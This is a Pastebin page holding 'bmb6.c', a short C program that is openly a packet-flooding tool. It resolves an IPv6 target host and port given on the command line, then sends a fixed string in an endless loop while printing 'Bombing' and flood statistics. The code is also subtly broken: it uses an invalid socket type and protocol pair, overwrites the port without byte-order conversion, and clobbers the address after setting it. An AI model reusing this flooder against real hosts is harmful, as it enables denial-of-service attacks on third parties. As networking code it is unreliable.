daily pastebin goal
59%
SHARE
TWEET

bmb6.c

wtfbbq Mar 16th, 2015 (edited) 1,194 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #define BOMB_STRING "0123456789"
  2. #define BOMB_SIZE 5
  3. #include <stdio.h>
  4. #include <sys/param.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <netdb.h>
  8. #include <stdarg.h>
  9. #include <string.h>
  10. #include <errno.h>
  11. #include <signal.h>
  12. struct sockaddr_in6 name6;
  13. int echo_connect(char *, short);
  14. int lookup6 (char *);
  15. int error;
  16. int packets, start;
  17. void
  18. handle_exit ()
  19. {
  20.   printf ("Flood completed, %d packets sent, %d seconds, %d packets/sec\n",
  21.           packets, time (NULL) - start, packets / (time (NULL) - start));
  22.   exit (0);
  23. }
  24. int
  25. lookup6 (char *addr)
  26. {
  27.   int xerror;
  28.   struct addrinfo hints, *res;
  29.   memset (&hints, 0, sizeof (hints));
  30.   hints.ai_socktype = SOCK_STREAM;
  31.   xerror = getaddrinfo (addr, NULL, &hints, &res);
  32.   if (xerror)
  33.     {
  34.       fprintf (stderr, "%s - error resolving\n", addr);
  35.       return 1;
  36.     }
  37.   memcpy (&name6, res->ai_addr, res->ai_addrlen);
  38.   freeaddrinfo (res);
  39.   return 0;
  40. }
  41. int echo_connect(char *server, short port)
  42. {
  43.    struct sockaddr_in sin;
  44.    struct hostent *hp;
  45.    int thesock;
  46.    printf("Bombing %s, port %d\n", server, port);
  47.       bzero ((char *) &name6, sizeof (struct sockaddr_in6));
  48.       name6.sin6_family = AF_INET6;
  49.       memcpy (&name6.sin6_addr, &in6addr_any, 16);
  50.       name6.sin6_port = htons (port);
  51.       name6.sin6_port = port;
  52. lookup6(server);
  53.    thesock = socket(AF_INET6, SOCK_DGRAM, IPPROTO_TCP);
  54.    connect(thesock,(struct sockaddr_in6 *) &name6, sizeof(struct sockaddr_in6));  
  55.    return thesock;
  56. }
  57. main(int argc, char **argv)
  58. {
  59.    int s;
  60.    if(argc != 3)
  61.    {
  62.       printf("Syntax: bmb host port\n");
  63.       printf("Port can be any port, any of them work equally well\n");
  64.       exit(0);
  65.    }
  66.   signal (SIGINT, handle_exit);
  67.   signal (SIGTERM, handle_exit);
  68.   signal (SIGQUIT, handle_exit);
  69.    s=echo_connect(argv[1], atoi(argv[2]));
  70. printf("Acquired socket %d\n", s);
  71. start = time(NULL);
  72. packets=0;
  73.    for(;;)
  74.    {
  75.       send(s, BOMB_STRING, BOMB_SIZE, 0);
  76.       packets++;
  77.    }
  78. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top